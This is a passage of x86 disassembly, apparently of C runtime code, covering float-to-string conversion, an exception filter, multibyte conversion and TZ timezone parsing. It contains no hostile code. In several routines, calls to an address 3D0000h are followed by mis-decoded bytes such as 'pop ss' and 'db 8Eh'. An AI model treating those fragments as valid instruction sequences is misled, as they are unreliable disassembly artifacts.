		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4185FD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4184E8
		test	eax, eax
		pop	ecx
		jnz	loc_4186BC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4184DC
		pop	ecx


loc_4185F5:				; CODE XREF: sub_418590+E4j
		push	2


loc_4185F7:				; CODE XREF: sub_418590+110j
		pop	eax
		jmp	loc_4186BE
; ---------------------------------------------------------------------------


loc_4185FD:				; CODE XREF: sub_418590+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4184C1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418435
		add	esp, 10h
		test	eax, eax
		jz	short loc_41861E
		inc	ebx


loc_41861E:				; CODE XREF: sub_418590+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_418636
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4184DC
		pop	ecx
		jmp	short loc_418672
; ---------------------------------------------------------------------------


loc_418636:				; CODE XREF: sub_418590+98j
		cmp	ebx, eax
		jg	short loc_418679
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4184C1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_418503
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418435
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418503
		add	esp, 20h


loc_418672:				; CODE XREF: sub_418590+A4j
		xor	esi, esi
		jmp	loc_4185F5
; ---------------------------------------------------------------------------


loc_418679:				; CODE XREF: sub_418590+A8j
		cmp	ebx, [edi]
		jl	short loc_4186A5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4184DC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418503
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4185F7
; ---------------------------------------------------------------------------


loc_4186A5:				; CODE XREF: sub_418590+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_418503
		pop	ecx
		pop	ecx


loc_4186BC:				; CODE XREF: sub_418590+55j
		xor	eax, eax


loc_4186BE:				; CODE XREF: sub_418590+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4186ED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4186F7
; ---------------------------------------------------------------------------


loc_4186ED:				; CODE XREF: sub_418590+14Ej
		cmp	edi, 20h
		jnz	short loc_4186F7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4186F7:				; CODE XREF: sub_418590+15Bj
					; sub_418590+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418590	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186FC	proc near		; CODE XREF: sub_418728+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42EB10
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_418590
		add	esp, 0Ch
		retn
sub_4186FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418712	proc near		; CODE XREF: sub_418755+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42EB28
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_418590
		add	esp, 0Ch
		retn
sub_418712	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418728	proc near		; CODE XREF: sub_414A2B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4198E0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4186FC
		add	esp, 24h
		leave
		retn
sub_418728	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418755	proc near		; CODE XREF: sub_414A2B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4198E0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418712
		add	esp, 24h
		leave
		retn
sub_418755	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418782	proc near		; CODE XREF: sub_414A69+65p
					; sub_414B6D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4187BF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4187A5:				; CODE XREF: sub_418782+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4187B1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4187B4
; ---------------------------------------------------------------------------


loc_4187B1:				; CODE XREF: sub_418782+27j
		push	30h
		pop	edx


loc_4187B4:				; CODE XREF: sub_418782+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4187A5
		mov	edx, [ebp+arg_8]


loc_4187BF:				; CODE XREF: sub_418782+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4187D8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4187D8


loc_4187CB:				; CODE XREF: sub_418782+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4187D6
		mov	byte ptr [eax],	30h
		jmp	short loc_4187CB
; ---------------------------------------------------------------------------


loc_4187D6:				; CODE XREF: sub_418782+4Dj
		inc	byte ptr [eax]


loc_4187D8:				; CODE XREF: sub_418782+42j
					; sub_418782+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4187E2
		inc	dword ptr [edx+4]
		jmp	short loc_4187F4
; ---------------------------------------------------------------------------


loc_4187E2:				; CODE XREF: sub_418782+59j
		push	edi
		call	sub_410B60
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4112D0
		add	esp, 10h


loc_4187F4:				; CODE XREF: sub_418782+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418782	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187F9	proc near		; CODE XREF: sub_414A69+3Fp
					; sub_414B6D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41885D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_45FA10
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_419DB1
		mov	ds:dword_45FA38, eax
		add	esp, 18h
		movsx	eax, ds:byte_45FA12
		mov	ds:dword_45FA30, eax
		pop	edi
		movsx	eax, ds:word_45FA10
		mov	ds:dword_45FA34, eax
		mov	ds:dword_45FA3C, offset	dword_45FA14
		mov	eax, offset dword_45FA30
		pop	esi
		leave
		retn
sub_4187F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41885D	proc near		; CODE XREF: sub_4187F9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4188AB
		cmp	ebx, edi
		jz	short loc_4188A4
		lea	edi, [ecx+3C00h]
		jmp	short loc_4188CC
; ---------------------------------------------------------------------------


loc_4188A4:				; CODE XREF: sub_41885D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4188CC
; ---------------------------------------------------------------------------


loc_4188AB:				; CODE XREF: sub_41885D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4188C3
		cmp	edx, ebx
		jnz	short loc_4188C3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41890E
; ---------------------------------------------------------------------------


loc_4188C3:				; CODE XREF: sub_41885D+52j
					; sub_41885D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4188CC:				; CODE XREF: sub_41885D+45j
					; sub_41885D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4188E4:				; CODE XREF: sub_41885D+A6j
		test	ecx, esi
		jnz	short loc_418905
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------


loc_418905:				; CODE XREF: sub_41885D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41890E:				; CODE XREF: sub_41885D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41885D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_412ADE
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41891C	proc near		; DATA XREF: seg000:loc_418962o
					; seg002:0042E4E0o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41893F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41893F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41893F
		jmp	sub_4155EC
; ---------------------------------------------------------------------------


loc_41893F:				; CODE XREF: sub_41891C+Dj
					; sub_41891C+13j ...
		mov	eax, ds:dword_45FA40
		test	eax, eax
		jz	short loc_41895C
		push	eax
		call	sub_4189B8	; CODE XREF: sub_4189B8+Dj
		test	eax, eax
		pop	ecx
		jz	short loc_41895C
		push	esi
		call	ds:dword_45FA40
		jmp	short loc_41895E
; ---------------------------------------------------------------------------


loc_41895C:				; CODE XREF: sub_41891C+2Aj
					; sub_41891C+35j
		xor	eax, eax


loc_41895E:				; CODE XREF: sub_41891C+3Ej
		pop	esi
		retn	4
sub_41891C	endp

; ---------------------------------------------------------------------------


loc_418962:				; DATA XREF: seg002:0041E020o
		push	offset sub_41891C
		call	ds:dword_41C024	; SetUnhandledExceptionFilter
		mov	ds:dword_45FA40, eax
		retn
; ---------------------------------------------------------------------------


loc_418973:				; DATA XREF: seg002:0041E038o
		push	ds:dword_45FA40
		call	ds:dword_41C024	; SetUnhandledExceptionFilter
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418980	proc near		; CODE XREF: sub_414E41+6Bp
					; sub_415352+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 3D0000h
		pop	ss
		test	eax, eax
		jz	short loc_418998
		xor	esi, esi


loc_418998:				; CODE XREF: sub_418980+14j
		mov	eax, esi
		pop	esi
		retn
sub_418980	endp


; =============== S U B	R O U T	I N E =======================================



sub_41899C	proc near		; CODE XREF: sub_415352+73p
					; sub_415352+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 3D0000h
		sahf
		test	eax, eax
		jz	short loc_4189B4
		xor	esi, esi


loc_4189B4:				; CODE XREF: sub_41899C+14j
		mov	eax, esi
		pop	esi
		retn
sub_41899C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189B8	proc near		; CODE XREF: sub_415352+15Bp
					; sub_41891C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 3D0000h
		jecxz	short near ptr loc_418949+3
		sal	byte ptr [edx+eax+33h],	0F6h
		mov	eax, esi
		pop	esi
		retn
sub_4189B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4155EC


loc_4189D0:				; CODE XREF: sub_4155EC:loc_41563Dj
		push	0Ah
		call	near ptr sub_417C59
		push	16h
		call	sub_41A044
		pop	ecx
		pop	ecx
		push	3
		call	sub_4125D8
; END OF FUNCTION CHUNK	FOR sub_4155EC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189E7	proc near		; CODE XREF: sub_41578D+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_418A0A
		cmp	[ebp+arg_8], ebx
		jz	short loc_418A0A
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_418A10
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_418A0A
		mov	[eax], bx


loc_418A0A:				; CODE XREF: sub_4189E7+Cj
					; sub_4189E7+11j ...
		xor	eax, eax


loc_418A0C:				; CODE XREF: sub_4189E7+42j
					; sub_4189E7+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418A10:				; CODE XREF: sub_4189E7+17j
		cmp	ds:dword_45F8D0, ebx
		jnz	short loc_418A2B
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_418A26
		movzx	ax, al
		mov	[ecx], ax


loc_418A26:				; CODE XREF: sub_4189E7+36j
					; sub_4189E7+C0j
		push	1
		pop	eax
		jmp	short loc_418A0C
; ---------------------------------------------------------------------------


loc_418A2B:				; CODE XREF: sub_4189E7+2Fj
		mov	ecx, ds:off_42E190
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_418A88
		mov	eax, ds:dword_42E39C
		cmp	eax, 1
		jle	short loc_418A6F
		cmp	[ebp+arg_8], eax
		jl	short loc_418A79
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_45F8E0
		call	ds:dword_41C120	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_42E39C
		jnz	short loc_418A0C


loc_418A6F:				; CODE XREF: sub_4189E7+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_418A79
		cmp	[esi+1], bl
		jnz	short loc_418A0C


loc_418A79:				; CODE XREF: sub_4189E7+61j
					; sub_4189E7+8Bj ...
		mov	ds:dword_45F844, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_418A0C
; ---------------------------------------------------------------------------


loc_418A88:				; CODE XREF: sub_4189E7+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_45F8E0
		call	ds:dword_41C120	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_418A26
		jmp	short loc_418A79
sub_4189E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AAF	proc near		; CODE XREF: sub_41578D+76p
					; sub_41578D+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_42E39C, 1
		jle	short loc_418AC6
		push	8
		push	[esp+4+arg_0]
		call	sub_413446
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_418AC6:				; CODE XREF: sub_418AAF+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_42E190
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_418AAF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_41578D+797p
					; sub_41578D+7E7p
		cmp	cl, 40h
		jnb	short loc_418AFA
		cmp	cl, 20h
		jnb	short loc_418AF0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_418AF0:				; CODE XREF: sub_418AE0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_418AFA:				; CODE XREF: sub_418AE0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_418AE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AFF	proc near		; CODE XREF: sub_416203+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_418B4B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_418B1D
		test	al, 80h
		jz	short loc_418B4B
		test	al, 2
		jnz	short loc_418B4B


loc_418B1D:				; CODE XREF: sub_418AFF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_418B2A
		push	esi
		call	sub_417F59
		pop	ecx


loc_418B2A:				; CODE XREF: sub_418AFF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_418B3A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_418B4B
		inc	eax
		mov	[esi], eax


loc_418B3A:				; CODE XREF: sub_418AFF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_418B51
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_418B57
		inc	eax
		mov	[esi], eax


loc_418B4B:				; CODE XREF: sub_418AFF+9j
					; sub_418AFF+18j ...
		or	eax, 0FFFFFFFFh


loc_418B4E:				; CODE XREF: sub_418AFF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418B51:				; CODE XREF: sub_418AFF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_418B57:				; CODE XREF: sub_418AFF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_418B4E
sub_418AFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B6D	proc near		; CODE XREF: sub_41623E:loc_41627Dp
		cmp	ds:dword_45FB00, 0
		jnz	short locret_418B81
		call	loc_418B82
		inc	ds:dword_45FB00

locret_418B81:				; CODE XREF: sub_418B6D+7j
		retn
sub_418B6D	endp

; ---------------------------------------------------------------------------


loc_418B82:				; CODE XREF: sub_418B6D+9p
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_45FA48, ebp
		mov	ds:dword_42EBE8, ebx
		mov	ds:dword_42EBD8, ebx
		call	sub_41A1B6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_418CAB
		push	offset dword_45FA50
		call	near ptr 3D0000h
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	loc_418DDA
		mov	eax, ds:dword_45FA50
		mov	ecx, ds:dword_45FAA4
		imul	eax, 3Ch
		cmp	ds:word_45FA96,	bp
		push	1
		pop	edx
		mov	ds:dword_42EB40, eax
		mov	ds:dword_45FA48, edx
		jz	short loc_418BF9
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_42EB40, eax


loc_418BF9:				; CODE XREF: seg000:00418BEBj
		cmp	ds:word_45FAEA,	bp
		jz	short loc_418C1D
		mov	eax, ds:dword_45FAF8
		cmp	eax, ebp
		jz	short loc_418C1D
		sub	eax, ecx
		mov	ds:dword_42EB44, edx
		imul	eax, 3Ch
		mov	ds:dword_42EB48, eax
		jmp	short loc_418C29
; ---------------------------------------------------------------------------


loc_418C1D:				; CODE XREF: seg000:00418C00j
					; seg000:00418C09j
		mov	ds:dword_42EB44, ebp
		mov	ds:dword_42EB48, ebp


loc_418C29:				; CODE XREF: seg000:00418C1Bj
		lea	eax, [esp+10h]
		mov	esi, ds:dword_41C11C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_42EBCC
		push	ebx
		push	offset dword_45FA54
		push	edi
		push	ds:dword_45F8E0
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_418C66
		cmp	[esp+10h], ebp
		jnz	short loc_418C66
		mov	eax, ds:off_42EBCC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_418C6E
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: seg000:00418C53j
					; seg000:00418C59j
		mov	eax, ds:off_42EBCC
		and	byte ptr [eax],	0


loc_418C6E:				; CODE XREF: seg000:00418C64j
		lea	eax, [esp+10h]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_42EBD0
		push	ebx
		push	offset dword_45FAA8
		push	edi
		push	ds:dword_45F8E0
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_418DD2
		cmp	[esp+10h], ebp
		jnz	loc_418DD2
		mov	eax, ds:off_42EBD0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_418DDA
; ---------------------------------------------------------------------------


loc_418CAB:				; CODE XREF: seg000:00418BAFj
		cmp	byte ptr [esi],	0
		jz	loc_418DDA
		mov	eax, ds:dword_45FAFC
		cmp	eax, ebp
		jz	short loc_418CCE
		push	eax
		push	esi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_418DDA


loc_418CCE:				; CODE XREF: seg000:00418CBBj
		push	ds:dword_45FAFC
		call	sub_410C83
		push	esi
		call	sub_410B60
		inc	eax
		push	eax
		call	sub_410C0F
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_45FAFC, eax
		jz	loc_418DDA
		push	esi
		push	eax
		call	sub_411B70
		push	3
		push	esi
		push	ds:off_42EBCC
		call	sub_411D00
		mov	eax, ds:off_42EBCC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_418D23
		push	1
		inc	esi
		pop	edi


loc_418D23:				; CODE XREF: seg000:00418D1Dj
		push	esi
		call	sub_4109F4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_42EB40, ecx


loc_418D3A:				; CODE XREF: seg000:00418D49j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_418D48
		cmp	al, bl
		jl	short loc_418D4B
		cmp	al, 39h
		jg	short loc_418D4B


loc_418D48:				; CODE XREF: seg000:00418D3Ej
		inc	esi
		jmp	short loc_418D3A
; ---------------------------------------------------------------------------


loc_418D4B:				; CODE XREF: seg000:00418D42j
					; seg000:00418D46j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_418D9E
		inc	esi
		push	esi
		call	sub_4109F4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_42EB40
		add	ecx, eax
		mov	ds:dword_42EB40, ecx


loc_418D69:				; CODE XREF: seg000:00418D74j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_418D76
		cmp	al, 39h
		jg	short loc_418D76
		inc	esi
		jmp	short loc_418D69
; ---------------------------------------------------------------------------


loc_418D76:				; CODE XREF: seg000:00418D6Dj
					; seg000:00418D71j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_418D9E
		inc	esi
		push	esi
		call	sub_4109F4
		pop	ecx
		mov	ecx, ds:dword_42EB40
		add	ecx, eax
		mov	ds:dword_42EB40, ecx


loc_418D91:				; CODE XREF: seg000:00418D9Cj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_418D9E
		cmp	al, 39h
		jg	short loc_418D9E
		inc	esi
		jmp	short loc_418D91
; ---------------------------------------------------------------------------


loc_418D9E:				; CODE XREF: seg000:00418D4Ej
					; seg000:00418D79j ...
		cmp	edi, ebp
		jz	short loc_418DAA
		neg	ecx
		mov	ds:dword_42EB40, ecx


loc_418DAA:				; CODE XREF: seg000:00418DA0j
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_42EB44, eax
		jz	short loc_418DD2
		push	3
		push	esi
		push	ds:off_42EBD0
		call	sub_411D00
		mov	eax, ds:off_42EBD0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_418DDA
; ---------------------------------------------------------------------------


loc_418DD2:				; CODE XREF: seg000:00418C8Dj
					; seg000:00418C97j ...
		mov	eax, ds:off_42EBD0
		and	byte ptr [eax],	0


loc_418DDA:				; CODE XREF: seg000:00418BC2j
					; seg000:00418CA6j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_41623E+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_42EB44, edi
		jnz	short loc_418DF4


loc_418DED:				; CODE XREF: sub_418DE0+148j
					; sub_418DE0+150j ...
		xor	eax, eax
		jmp	loc_418F40
; ---------------------------------------------------------------------------


loc_418DF4:				; CODE XREF: sub_418DE0+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_42EBD8
		jnz	short loc_418E12
		cmp	eax, ds:dword_42EBE8
		jz	loc_418F14


loc_418E12:				; CODE XREF: sub_418DE0+24j
		cmp	ds:dword_45FA48, edi
		jz	loc_418EEA
		movzx	ecx, ds:word_45FAF6
		push	ecx
		cmp	ds:word_45FAE8,	di
		movzx	ecx, ds:word_45FAF4
		push	ecx
		movzx	ecx, ds:word_45FAF2
		push	ecx
		movzx	ecx, ds:word_45FAF0
		push	ecx
		jnz	short loc_418E64
		movzx	ecx, ds:word_45FAEC
		push	edi
		push	ecx
		movzx	ecx, ds:word_45FAEE
		push	ecx
		movzx	ecx, ds:word_45FAEA
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_418E78
; ---------------------------------------------------------------------------


loc_418E64:				; CODE XREF: sub_418DE0+65j
		movzx	ecx, ds:word_45FAEE
		push	ecx
		push	edi
		movzx	ecx, ds:word_45FAEA
		push	edi
		push	ecx
		push	eax
		push	edi


loc_418E78:				; CODE XREF: sub_418DE0+82j
		push	ebx
		call	sub_418F8C
		movzx	eax, ds:word_45FAA2
		add	esp, 2Ch
		cmp	ds:word_45FA94,	di
		push	eax
		movzx	eax, ds:word_45FAA0
		push	eax
		movzx	eax, ds:word_45FA9E
		push	eax
		movzx	eax, ds:word_45FA9C
		push	eax
		jnz	short loc_418ED2
		movzx	eax, ds:word_45FA98
		push	edi
		push	eax
		movzx	eax, ds:word_45FA9A
		push	eax
		movzx	eax, ds:word_45FA96
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_418EC7:				; CODE XREF: sub_418DE0+108j
		push	edi
		call	sub_418F8C
		add	esp, 2Ch
		jmp	short loc_418F14
; ---------------------------------------------------------------------------


loc_418ED2:				; CODE XREF: sub_418DE0+C8j
		movzx	eax, ds:word_45FA9A
		push	eax
		push	edi
		movzx	eax, ds:word_45FA96
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_418EC7
; ---------------------------------------------------------------------------


loc_418EEA:				; CODE XREF: sub_418DE0+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
